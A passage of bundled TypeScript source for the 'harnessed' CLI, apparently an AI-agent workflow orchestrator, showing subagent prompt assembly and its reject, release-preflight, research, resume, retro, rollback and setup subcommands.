readFile(resolve(workflowsDir, 'capabilities.yaml'), 'utf8')\n    const capDoc = parseYaml(capRaw) as {\n      capabilities?: Record<string, { cmd?: string; impl?: string }>\n    } | null\n    const caps = capDoc?.capabilities ?? {}\n    const lines: string[] = []\n    for (const tool of tools) {\n      const cmd = caps[tool]?.cmd\n      const impl = caps[tool]?.impl\n      lines.push(cmd ? `- Invoke \\`${cmd}\\` (${tool}${impl ? `, ${impl}` : ''})` : `- ${tool}`)\n    }\n    if (lines.length === 0) return ''\n    return `\\n## Tools — invoke these (not optional)\\nThis workflow's SoT declares the following upstream tools. Actually invoke them as part of your work — do NOT improvise a lightweight substitute. Persist artifacts in the upstream's native format (e.g. planning-with-files → \\`task_plan.md\\` / \\`progress.md\\` / \\`findings.md\\`; GSD → \\`PLAN.md\\` / \\`STATE.md\\`).\\n${lines.join('\\n')}\\n`\n  } catch {\n    return ''\n  }\n}\n\n/** v4.1.1 — Disciplines section. Reads the sub's workflow.yaml\n *  `disciplines_applied[]`, then each `disciplines/<name>.yaml` rule list, and\n *  emits a compact always-on directive block. Same flatten bug as tools: the 6\n *  L0 disciplines (karpathy 心法 / output-style / operational / priority /\n *  protocols / language) are declared in the yaml SoT but v4.0 never injected\n *  them into the spawn prompt, so subagents ignored ≤200 LOC / surgical /\n *  biome-preempt / BLUF / commit-safety. `language` is skipped here (handled by\n *  buildLanguageSection from env.HARNESSED_USER_LANG). Fail-soft → empty. */\nexport async function buildDisciplinesSection(\n  sub: string,\n  packageRoot: string,\n  locale: SupportedLocale = getLocale(),\n): Promise<string> {\n  try {\n    const workflowsDir = resolve(packageRoot, 'workflows')\n    const disciplinesDir = resolve(workflowsDir, 'disciplines')\n    const applied = await loadSubArrayField(sub, packageRoot, 'disciplines_applied')\n    // language handled separately; skip to avoid duplicate directive.\n    const names = applied.filter((d) => d !== 'language')\n    if (names.length === 0) return ''\n\n    const blocks: string[] = []\n    for (const name of names) {\n      try {\n        const dRaw = await readFile(resolveLocaleYaml(disciplinesDir, name, locale), 'utf8')\n        const dDoc = parseYaml(dRaw) as { rules?: { description?: string }[] } | null\n        const rules = Array.isArray(dDoc?.rules) ? dDoc.rules : []\n        const descs = rules\n          .map((r) => (typeof r.description === 'string' ? r.description.trim() : ''))\n          .filter((s) => s.length > 0)\n          .map((s) => `  - ${s.replace(/\\s+/g, ' ')}`)\n        if (descs.length > 0) blocks.push(`- **${name}**:\\n${descs.join('\\n')}`)\n      } catch {\n        /* skip unreadable discipline */\n      }\n    }\n    if (blocks.length === 0) return ''\n    return `\\n## Disciplines (always-on — L0 substrate)\\nFollow these behavioral disciplines while doing the work:\\n${blocks.join('\\n')}\\n`\n  } catch {\n    return ''\n  }\n}\n\n/** Build the `## Language` section from env.HARNESSED_USER_LANG. Empty string\n *  when unset (subagent then mirrors the user's conversation language naturally). */\nfunction buildLanguageSection(): string {\n  const code = process.env.HARNESSED_USER_LANG\n  if (!code) return ''\n  const name = LANG_NAMES[code] ?? code\n  return `\\n## Language\\nRespond in ${name}. Keep code, commands, file/identifier/API names, error messages, stack traces, URLs, commit hashes, and version numbers in their original form (do not translate or transliterate them).\\n`\n}\n\nconst PROTOCOLS = `\n## Completion protocol\nWhen done emit: <promise>COMPLETE</promise>\n\n## Clarification protocol\nIf you hit a gray area you cannot decide (≥2 reasonable options, missing key context, ambiguous requirement), do NOT self-decide. Emit:\nSTATUS: NEEDS_CLARIFICATION\n1. <question>\n2. <question>\nThe main session will relay these to the user and re-spawn you with answers.\n`\n\ninterface RawOpts {\n  task?: string\n  json?: boolean\n}\n\n/** Resolve max_iterations from workflows/defaults.yaml `ralph_max_iterations[sub]`.\n *  Structure is `ralph_max_iterations.<workflow>.<phase>` (per-phase object). For\n *  this CLI we look up `ralph_max_iterations[sub]`: if it's a plain number use it;\n *  if it's an object (the per-phase shape) take any numeric value; else default 20.\n *  Any read/parse failure → default 20 (fail-soft, never blocks prompt output). */\nasync function resolveMaxIterations(sub: string, packageRoot: string): Promise<number> {\n  try {\n    const path = resolve(packageRoot, 'workflows', 'defaults.yaml')\n    const raw = await readFile(path, 'utf8')\n    const doc = parseYaml(raw) as { ralph_max_iterations?: Record<string, unknown> } | null\n    const entry = doc?.ralph_max_iterations?.[sub]\n    if (typeof entry === 'number' && Number.isFinite(entry)) {\n      return entry\n    }\n    if (entry && typeof entry === 'object') {\n      for (const v of Object.values(entry as Record<string, unknown>)) {\n        if (typeof v === 'number' && Number.isFinite(v)) {\n          return v\n        }\n      }\n    }\n    return DEFAULT_MAX_ITERATIONS\n  } catch {\n    return DEFAULT_MAX_ITERATIONS\n  }\n}\n\nexport function registerPrompt(program: Command): void {\n  program\n    .command('prompt')\n    .description(\n      'Print a spawn-ready prompt for a sub-workflow (role + checklist + protocols, no spawn).',\n    )\n    .argument('<sub>', 'sub-workflow name (e.g. task-code, verify-paranoid)')\n    .option('--task <text>', 'task description prepended as a ## Task section')\n    .option('--json', 'emit JSON {prompt, max_iterations, model, specialist} instead of text')\n    .action(async (sub: string, raw: RawOpts) => {\n      const packageRoot = getPackageRoot()\n      const workflowsDir = resolve(packageRoot, 'workflows')\n\n      // Missing workflows dir is the only hard error (role-prompts.yaml unreadable\n      // is non-fatal → loadRolePrompts returns {} → buildAgentDef fallback path).\n      const rolePrompts = await loadRolePrompts(workflowsDir)\n\n      const def = buildAgentDef(sub, rolePrompts)\n      const body = def.prompt\n\n      const taskSection =\n        typeof raw.task === 'string' && raw.task.length > 0 ? `## Task\\n${raw.task}\\n\\n` : ''\n\n      const toolsSection = await buildToolsSection(sub, packageRoot)\n      const disciplinesSection = await buildDisciplinesSection(sub, packageRoot)\n      const fullPrompt = `${taskSection}${body}\\n${toolsSection}${disciplinesSection}${PROTOCOLS}${buildLanguageSection()}`\n\n      if (raw.json) {\n        const maxIterations = await resolveMaxIterations(sub, packageRoot)\n        const rp = rolePrompts[sub]\n        const model = def.model ?? DEFAULT_MODEL\n        const specialist = rp?.specialist ?? DEFAULT_SPECIALIST\n        console.log(\n          JSON.stringify({\n            prompt: fullPrompt,\n            max_iterations: maxIterations,\n            model,\n            specialist,\n          }),\n        )\n        process.exit(0)\n      }\n\n      console.log(fullPrompt)\n      process.exit(0)\n    })\n}\n","// `harnessed reject <sub>` — G7-lite. Mark a seeded sub as user-abandoned (terminal,\n// distinct from `failed` which is retryable + drives G6). nextPending ignores it.\n// Sister: the fail action in src/cli/checkpoint.ts (mutateSubProgress + markSub).\n\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\n\nexport function registerReject(program: Command): void {\n  program\n    .command('reject <sub>')\n    .description('Mark a sub-workflow as user-rejected (terminal; distinct from failed)')\n    .action(async (sub: string) => {\n      try {\n        checkPathSafe(sub)\n      } catch {\n        console.error('[harnessed] reject: invalid sub name (path traversal rejected)')\n        process.exit(1)\n        return\n      }\n      const { mutateSubProgress } = await import('../checkpoint/state.js')\n      const { markSub } = await import('../checkpoint/ledger.js')\n      let touched = false\n      await mutateSubProgress((entries) => {\n        if (!entries.some((e) => e.sub === sub)) return entries\n        touched = true\n        return markSub(entries, sub, 'rejected')\n      })\n      if (touched) {\n        console.log(`[harnessed] rejected: ${sub}`)\n        process.exit(0)\n      } else {\n        console.error(`[harnessed] reject: sub '${sub}' not found in the active ledger`)\n        process.exit(1)\n      }\n    })\n}\n","// Phase 21 Wave 1 — `harnessed release-preflight`. Prints the read-only\n// release-readiness checks and exits 1 if any fail (the \"PR ready != release ready\"\n// gate). Mutates nothing — ship stops at tag-ready; publish.yml CI does the publish.\nimport type { Command } from 'commander'\n\nexport function registerReleasePreflight(program: Command): void {\n  program\n    .command('release-preflight')\n    .description(\n      'Read-only release-readiness gate (CHANGELOG / version / git-clean / tag). Exits 1 if not ready.',\n    )\n    .action(async () => {\n      const { collectPreflight, anyFailed, defaultDeps } = await import(\n        './lib/release-preflight.js'\n      )\n      const checks = collectPreflight(defaultDeps(process.cwd()))\n      console.log('\\n  release preflight (read-only — nothing is pushed/published):\\n')\n      for (const c of checks) {\n        const mark = c.status === 'pass' ? '✓' : c.status === 'warn' ? '⚠' : '✗'\n        console.log(`  ${mark} ${c.name} — ${c.message}`)\n        if (c.status !== 'pass' && c.fix) console.log(`      fix: ${c.fix}`)\n      }\n      const failed = anyFailed(checks)\n      console.log(\n        failed\n          ? '\\n  NOT release-ready — resolve the failures above before tagging.'\n          : '\\n  release-ready — tag the version to trigger publish.yml.',\n      )\n      process.exit(failed ? 1 : 0)\n    })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n//\n// v3.4.4 (Phase 4) — REFACTORED: research subcommand is now a thin alias to\n// `runWorkflow` (src/workflow/run.ts) targeting the already-v3\n// workflows/research/workflow.yaml. Subcommand surface unchanged\n// (--query / --dry-run / --non-interactive / --model + H1 gate + exit-code\n// semantics 0/1/2) → zero user-visible regression.\n//\n// Pre-Phase-4 body called `runRouting` (src/routing/engine.ts) — Phase 6 will\n// delete src/routing/ entirely; for now the routing/ module stays LIVE to\n// support legacy callers (src/routing-engine/ test fixtures + ralph-loop\n// wrapper). This file no longer imports from src/routing/.\n//\n// Exit codes (preserved from v3.3.0):\n//   0  → ok (workflow runtime completed successfully)\n//   1  → workflow runtime failed (status === 'failed' or thrown)\n//   2  → usage error (missing --query / yaml not found)\n// v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { resolveWorkflowYaml } from './run.js'\n\ninterface RawOpts {\n  query?: string\n  dryRun?: boolean\n  nonInteractive?: boolean\n  model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\nexport function registerResearch(program: Command): void {\n  program\n    .command('research')\n    .description(\n      'Run research workflow (search category sub-routing → spawn → verbatim COMPLETE; immediate by default — use --dry-run for preview)',\n    )\n    .requiredOption('--query <text>', 'research prompt (required)')\n    .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n    .option('--non-interactive', 'skip all prompts (CI / scripts)')\n    .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n    .action(async (raw: RawOpts) => {\n      if (!raw.query) {\n        console.error(t('research.require_query'))\n        process.exit(2)\n      }\n\n      // Resolve workflows/research/workflow.yaml (already v3 per Phase 2 Commit 1).\n      const yamlPath = await resolveWorkflowYaml('research', WORKFLOWS_DIR)\n      if (!yamlPath) {\n        console.error(`error: workflows/research/workflow.yaml not found under ${WORKFLOWS_DIR}`)\n        process.exit(2)\n        return\n      }\n\n      // gateContext: --query → task; --model → modelOverride (captured for\n      // Phase 5 sdkSpawn-level consumption; Phase 4 plumbs only).\n      const gateContext: Record<string, unknown> = {\n        task: raw.query,\n        ...(raw.model ? { modelOverride: raw.model } : {}),\n      }\n\n      // Dry-run: universal Phase 1 JSON envelope shape (sister src/cli/run.ts:91).\n      // Replaces v3.4.3 3-line t('research.dry_run.*') output.\n      if (raw.dryRun === true) {\n        console.log(JSON.stringify({ workflow: 'research', yamlPath, gateContext }, null, 2))\n        process.exit(0)\n        return\n      }\n\n      // Apply path: runWorkflow + fail-soft try/catch + exit 1 on failed.\n      let result: Awaited<ReturnType<typeof runWorkflow>>\n      try {\n        result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n      } catch (err) {\n        console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n        process.exit(1)\n        return\n      }\n      process.exit(result.status === 'failed' ? 1 : 0)\n    })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\n\nexport function registerResume(program: Command): void {\n  program\n    .command('resume')\n    .description(\n      'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n    )\n    .option('--json', 'output JSON instead of human-readable')\n    .action(async (opts: { json?: boolean }) => {\n      const { runResume } = await import('../checkpoint/resume.js')\n      const r = await runResume()\n      if (opts.json) {\n        console.log(JSON.stringify(r, null, 2))\n        process.exit(r.status === 'ok' ? 0 : 1)\n        return\n      }\n      if (r.status === 'no-paused-phase') {\n        console.error(t('resume.fail', { error: r.error }))\n        process.exit(1)\n      }\n      if (r.status === 'corrupt') {\n        console.error(t('resume.corrupt', { error: r.error, path: r.path }))\n        process.exit(1)\n      }\n      if (r.cwdWarn) console.error(r.cwdWarn)\n      if (r.driftWarn) for (const w of r.driftWarn) console.error(w)\n      console.log(`phase: ${r.checkpoint.phase}`)\n      console.log(`last_task: ${r.checkpoint.last_task}`)\n      if (r.checkpoint.key_decisions.length) {\n        console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n      }\n      if (r.checkpoint.canonical_refs.length) {\n        console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n      }\n      console.log(r.resumeHint)\n      process.exit(0)\n    })\n}\n","// `harnessed retro --done` — Phase 22 retro-reminder reset. `/retro` is a gstack\n// skill harnessed can't observe, so after running it the operator (or the AI,\n// prompted by the RETRO-DUE inject line) calls this to zero the per-repo phase\n// counter and clear the envelope `retro_due` flag. Sister: `harnessed reject`.\n\nimport type { Command } from 'commander'\nimport { resetRetro } from '../checkpoint/retroMeta.js'\n\n/** Reset the per-repo retro cadence: zero the store-sidecar counter + stamp\n *  last_retro_at, and clear the envelope `retro_due` flag. Pure-ish (I/O via\n *  state.ts); `now` injected for deterministic tests. Returns the new counter. */\nexport async function runRetroDone(now: string): Promise<{ reset: true }> {\n  const { mutateStore, readCurrentWorkflow, writeCurrentWorkflow } = await import(\n    '../checkpoint/state.js'\n  )\n  const { repoKey } = await import('../checkpoint/workflowStore.js')\n  const key = repoKey()\n\n  await mutateStore((store) => {\n    const meta = { ...(store.retro_meta ?? {}) }\n    meta[key] = resetRetro(now)\n    return { ...store, retro_meta: meta }\n  })\n\n  // Clear the derived flag on the current envelope (if any) so the RETRO-DUE line\n  // stops immediately, rather than waiting for the next completion to re-derive it.\n  const wf = await readCurrentWorkflow()\n  if (wf?.retro_due) await writeCurrentWorkflow({ ...wf, retro_due: false })\n\n  return { reset: true }\n}\n\nexport function registerRetro(program: Command): void {\n  program\n    .command('retro')\n    .description('Retro cadence: --done resets the phase counter after running /retro')\n    .option(\n      '--done',\n      'mark a retro as done — reset the phase counter + clear the RETRO-DUE reminder',\n    )\n    .action(async (opts: { done?: boolean }) => {\n      if (!opts.done) {\n        console.error('[harnessed] retro: nothing to do — pass --done after running /retro')\n        process.exit(1)\n        return\n      }\n      await runRetroDone(new Date().toISOString())\n      console.log('[harnessed] retro recorded — phase counter reset, RETRO-DUE reminder cleared')\n      process.exit(0)\n    })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupFileEntry {\n  target: string\n  backup: string\n  sha1: string\n  eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n  installer: string\n  manifest: string\n  timestamp: string\n  files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n  // Convert all line endings to LF first, then to target convention.\n  const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n  return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n  program\n    .command('rollback <timestamp>')\n    .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n    .action(async (timestamp: string) => {\n      const dir = join(getBackupRoot(), timestamp)\n      const metaPath = join(dir, 'metadata.json')\n      let meta: BackupMetadata\n      try {\n        meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n      } catch (err) {\n        console.error(\n          `${t('rollback.metadata_unreadable', { path: metaPath, message: (err as Error).message })}\\n${t('rollback.metadata_unreadable.fix')}`,\n        )\n        process.exit(1)\n        return\n      }\n      // v4.1.3 — two-pass restore to avoid half-restored data loss. Pass 1:\n      // read + sha1-verify EVERY backup into memory and abort before touching\n      // any target. Pass 2: write/unlink only after all verifications pass.\n      // Reverse order so files restored later (higher in dependency chain) come first.\n      const ordered = [...meta.files].reverse()\n      const planned: Array<\n        { target: string; action: 'unlink' } | { target: string; action: 'write'; data: Buffer }\n      > = []\n      for (const entry of ordered) {\n        if (entry.backup === '') {\n          planned.push({ target: entry.target, action: 'unlink' })\n          continue\n        }\n        let buf: Buffer\n        try {\n          buf = await readFile(entry.backup)\n        } catch (err) {\n          console.error(`error: cannot read backup ${entry.backup}: ${(err as Error).message}`)\n          process.exit(1)\n          return\n        }\n        const sha1 = createHash('sha1').update(buf).digest('hex')\n        if (sha1 !== entry.sha1) {\n          console.error(\n            t('rollback.checksum_mismatch', {\n              target: entry.target,\n              expected: entry.sha1.slice(0, 12),\n              actual: sha1.slice(0, 12),\n            }),\n          )\n          process.exit(1)\n          return\n        }\n        planned.push({ target: entry.target, action: 'write', data: normalizeEol(buf, entry.eol) })\n      }\n      // Pass 2 — all verified; apply.\n      for (const op of planned) {\n        if (op.action === 'unlink') {\n          try {\n            await unlink(op.target)\n          } catch (err) {\n            const code = (err as NodeJS.ErrnoException).code\n            if (code !== 'ENOENT') {\n              console.error(`error: cannot unlink ${op.target}: ${(err as Error).message}`)\n              process.exit(1)\n              return\n            }\n          }\n        } else {\n          await writeFile(op.target, op.data)\n        }\n      }\n      console.log(t('rollback.restored', { count: meta.files.length, timestamp }))\n    })\n}\n","// v1.0.3 T1.1 — Step B serial → parallel Promise.allSettled (~75% speedup; 16 manifests 30-50s → 5-10s).\n// v1.0.2 T1.3+T1.4 — cli subcommand `setup` full one-shot onboarding (UX redesign post-v1.0.1).\n// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split: helpers moved to ./lib/setup-helpers.ts (CK deferred).\n//\n// IMPL NOTE (immediate-install default + --dry-run opt-in, non-expert UX):\n// `harnessed setup` executes immediately by default (non-expert UX; v1.0.2 user feedback).\n// `--dry-run` flag opt-in for advanced preview. Sister install.ts pattern REVERSED.\n// Step A: copies each workflows/<name>/ dir with SKILL.md to ~/.claude/skills/<name>/.\n// Step B: chains install-base auto-glob (installs all manifests/{tools,skill-packs}/*.yaml).\n// Workflows without SKILL.md are skipped in Step A.\n//\n// Exit codes:\n//   0 → at least 1 workflow installed + base manifests processed\n//   1 → fs.cp failed\n//   2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, mkdir, readdir, writeFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { getLocale, t } from '../i18n/index.js'\nimport { detectPlatform, getCommandsDir, getSkillsDir } from '../installers/lib/platform.js'\nimport { readInstalledPlugins, readInstalledUserSkills } from './lib/capabilityResolver.js'\nimport { enableAgentTeamsInSettings } from './lib/enableAgentTeamsInSettings.js'\nimport { enableUserLangInSettings } from './lib/enableUserLangInSettings.js'\nimport { loadRolePrompts, writeAllCommands } from './lib/generateCommands.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { loadCapabilities, renderAllSkills } from './lib/renderSkillTemplates.js'\nimport {\n  makeIdempotentProbe,\n  reclassifyForceUpdateFailures,\n  runStepBInstall,\n  type StepBResult,\n  scanWorkflowsWithSkill,\n  warnIfAgentTeamsMissing,\n} from './lib/setup-helpers.js'\nimport { printSetupVersionBanner } from './lib/version-banner.js'\n\ninterface RawOpts {\n  dryRun?: boolean\n  userLang?: string\n  platform?: string // Phase C / D5 — target harness platform (claude | codex)\n  nonInteractive?: boolean\n  autoInstall?: boolean // v3.9.0 P4 — commander `--no-auto-install` flag flips this to false\n  updateInstalled?: boolean // v3.9.6 — force re-install for already-installed plugins (excludes MCP)\n}\n\n/** Known platform ids accepted by `setup --platform <id>`. */\nconst KNOWN_PLATFORMS = ['claude', 'codex'] as const\n\n/**\n * Phase C / D5: apply `setup --platform <id>`. Validates the id, sets\n * `process.env.HARNESSED_PLATFORM` for the run (so the resolver-backed\n * getSkillsDir/getCommandsDir/getHarnessedRoot route to the chosen platform),\n * and persists a `.platform` pin at the now-resolved stateRoot. Invalid id →\n * error + exit(1). Pin-write failure is non-blocking (warn) — env is already set\n * so the run still routes correctly.\n */\nasync function applyPlatformOption(platform: string): Promise<void> {\n  if (!(KNOWN_PLATFORMS as readonly string[]).includes(platform)) {\n    console.error(\n      `--platform: unknown id '${platform}' (expected one of: ${KNOWN_PLATFORMS.join(' | ')})`,\n    )\n    process.exit(1)\n  }\n  process.env.HARNESSED_PLATFORM = platform\n  // detectPlatform now resolves to the chosen platform → its stateRoot is the\n  // pin's home (codex pin lives in ~/.codex/harnessed, claude in ~/.claude/harnessed).\n  const stateRoot = detectPlatform().stateRoot\n  try {\n    await mkdir(stateRoot, { recursive: true })\n    await writeFile(join(stateRoot, '.platform'), platform, 'utf8')\n  } catch (e) {\n    console.warn(`  [--platform] could not persist .platform pin (${(e as Error).message})`)\n  }\n}\n\nasync function listBaseManifests(pkgRoot: string): Promise<string[]> {\n  const out: string[] = []\n  for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n    try {\n      const entries = await readdir(resolve(pkgRoot, d))\n      for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(pkgRoot, d, f))\n    } catch {}\n  }\n  return out\n}\n\n/** v3.9.21 — grouped output by component_type. Order: MCP servers →\n *  Commands & Skills → CLI Tools → Other. Within each group, status order\n *  is: failed → installed → skipped → already-installed (highlight changes).\n *  v4.13.0 — table rendering: glyph + status | component | note columns, name\n *  column width computed per group, notes truncated (user UX feedback:\n *  \"检查结果类的能否用表格或者列表输出\"). Exported for direct unit testing. */\nexport function printGrouped(b: StepBResult, prefix = ''): void {\n  const GROUP_LABELS: Record<string, string> = {\n    'mcp-tool': 'MCP servers',\n    command: 'Commands & Skills',\n    'cli-binary': 'CLI tools',\n    other: 'Other',\n  }\n  const GROUP_ORDER = ['mcp-tool', 'command', 'cli-binary', 'other']\n  const NOTE_MAX = 100\n  const GLYPHS: Record<string, string> = {\n    failed: '✗',\n    installed: '✓',\n    skipped: '↷',\n    'already-installed': '○',\n    'kept-existing': '⚠',\n  }\n  const groupOf = (n: string): string => b.componentTypes[n] ?? 'other'\n  const buckets: Record<string, Array<{ status: string; name: string; note?: string }>> = {}\n  const push = (group: string, entry: { status: string; name: string; note?: string }): void => {\n    if (!buckets[group]) buckets[group] = []\n    buckets[group].push(entry)\n  }\n  for (const n of b.failed) {\n    // failed entries arrive verbatim as \"<name>: <reason>\" — split into columns.\n    const m = n.match(/^([^:]+):\\s*(.*)$/s)\n    push(groupOf(m?.[1] ?? n), { status: 'failed', name: m?.[1] ?? n, note: m?.[2] })\n  }\n  for (const n of b.installed) push(groupOf(n), { status: 'installed', name: n })\n  for (const s of b.skipped)\n    push(groupOf(s.name), { status: 'skipped', name: s.name, note: s.reason })\n  for (const n of b.alreadyInstalled) push(groupOf(n), { status: 'already-installed', name: n })\n  // Patch 4.10.1 Fix C — kept-existing: refresh failed but prior version retained.\n  // Rendered as a WARN row (not error red) — component is still usable.\n  for (const n of b.keptExisting ?? [])\n    push(groupOf(n), {\n      status: 'kept-existing',\n      name: n,\n      note: 'refresh failed, prior version retained',\n    })\n\n  for (const g of GROUP_ORDER) {\n    const entries = buckets[g]\n    if (!entries || entries.length === 0) continue\n    console.log(`\\n  ${prefix}${GROUP_LABELS[g] ?? g} (${entries.length})`)\n    const nameW = Math.max(...entries.map((e) => e.name.length), 'component'.length)\n    console.log(`    ${'—'.repeat(2 + 18 + 1 + nameW + 2 + 24)}`)\n    for (const e of entries) {\n      const note = e.note && e.note.length > NOTE_MAX ? `${e.note.slice(0, NOTE_MAX)}…` : e.note\n      const line = `    ${GLYPHS[e.status] ?? ' '} ${e.status.padEnd(18)} ${e.name.padEnd(nameW)}${note ? `  ${note}` : ''}`\n      if (e.status === 'failed') console.error(line)\n      else if (e.status === 'kept-existing') console.warn(line)\n      else console.log(line)\n    }\n  }\n}\n\nexport function registerSetup(program: Command): void {\n  program\n    .command('setup')\n    .description(\n      'One-shot onboarding: install workflow skills + base manifests to ~/.claude/ (immediate by default — use --dry-run for preview)',\n    )\n    .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n    .option(\n      '--user-lang <code>',\n      'override detected OS locale for env.HARNESSED_USER_LANG (en | zh-Hans / zh-CN / zh-TW)',\n    )\n    // Phase C / D5 — target a specific harness platform (claude | codex). Sets\n    // HARNESSED_PLATFORM for the run + persists a `.platform` pin so subsequent\n    // runs resolve the same platform. Default: auto-detect (claude-first).\n    .option('--platform <id>', 'target harness platform (claude | codex); default: auto-detect')\n    // v3.9.0 P4 — auto-install third-party plugins via Clack confirm prompt\n    // (default opt-in). `--non-interactive` skips prompts for CI/scripts;\n    // `--no-auto-install` keeps v3.8.x advisory-only behavior.\n    .option('--non-interactive', 'skip all confirm prompts (CI / scripted setup)')\n    .option('--no-auto-install', 'do not prompt to auto-install missing plugins (advisory only)')\n    // v3.9.6 — force re-install for already-installed third-party plugins\n    // (skip idempotent_check probe). MCP installers ignore this flag —\n    // existing mcpServers config is never overwritten unconditionally.\n    .option(\n      '--update-installed',\n      'force re-install already-installed plugins (excludes MCP servers); default: skip if installed',\n    )\n    .action(async (raw: RawOpts) => {\n      // Version banner FIRST — print this build's version + an npm-latest check so\n      // users know exactly which harnessed ran (a stale log was mistaken for a\n      // new-version regression). Fail-soft + timeout-bounded (offline → null,\n      // never blocks). Printed in --dry-run too — version is wanted regardless of\n      // mode. Extracted to ./lib/version-banner.js so the setup-helpers mock in\n      // setup-locale/setup-platform tests needn't carry this export.\n      await printSetupVersionBanner()\n\n      const dryRun = raw.dryRun === true\n      // Phase C / D5 — apply --platform FIRST so all resolver-backed paths below\n      // (skills/commands/state) route to the chosen platform for this run.\n      if (raw.platform !== undefined) await applyPlatformOption(raw.platform)\n      const pkgRoot = getPackageRoot()\n      const workflowsDir = resolve(pkgRoot, 'workflows')\n      const skillsBase = getSkillsDir()\n\n      // Agent Teams env probe (non-blocking warn) — sister R20.11 acceptance e.\n      await warnIfAgentTeamsMissing()\n\n      // ── Step A: workflow SKILL.md scan ──────────────────────────────────────\n      let entries: string[]\n      try {\n        entries = await readdir(workflowsDir)\n      } catch {\n        console.error(t('setup.workflows_not_found', { path: workflowsDir }))\n        process.exit(1)\n      }\n\n      const { workflows: toInstall } = await scanWorkflowsWithSkill(workflowsDir, entries)\n\n      if (toInstall.length === 0) {\n        console.log(t('setup.nothing_to_install'))\n        process.exit(2)\n      }\n\n      if (dryRun) {\n        console.log(t('setup.dry_run.header', { count: toInstall.length, path: skillsBase }))\n        for (const wf of toInstall) {\n          const masterTag = wf.isMaster ? ' (master)' : ''\n          console.log(`  ${wf.name}  →  ${join(skillsBase, wf.name)}${masterTag}`)\n        }\n        console.log(t('setup.dry_run.run_hint'))\n        process.exit(0)\n      }\n\n      let skillsInstalled = 0\n      for (const wf of toInstall) {\n        const src = join(workflowsDir, wf.relPath)\n        const dst = join(skillsBase, wf.name)\n        try {\n          await cp(src, dst, { recursive: true, force: true })\n          skillsInstalled++\n        } catch (e) {\n          console.error(t('setup.copy_failed', { name: wf.name, message: (e as Error).message }))\n          process.exit(1)\n        }\n      }\n\n      console.log(t('setup.step_a_complete', { count: skillsInstalled, path: skillsBase }))\n\n      // ── Step A.5: Render `{{ capabilities.<name>.cmd }}` placeholders ───────\n      // v3.4.1 hotfix — sub-workflow SKILL.md files contain Jinja-style template\n      // refs that were never substituted at install time; end users saw literal\n      // `{{ capabilities.gstack-review.cmd }}` strings in installed skills so\n      // `/verify-paranoid` (and 20+ siblings) never invoked the real plugin cmd.\n      // Resolver reads ~/.claude/plugins/installed_plugins.json + capabilities.yaml,\n      // renders to namespaced form (`/gstack:review`) when plugin installed, OR\n      // leaves bare cmd + emits warning when plugin missing. Non-blocking — any\n      // unexpected error reduces to per-skill warn-and-continue (sister fallback\n      // 铁律 1).\n      const skillNames = toInstall.map((wf) => wf.name)\n      // Phase 29 — resolve locale ONCE and thread it into the render loop so the\n      // dest SKILL.md carries the locale-correct body. `--lang` is a global flag\n      // 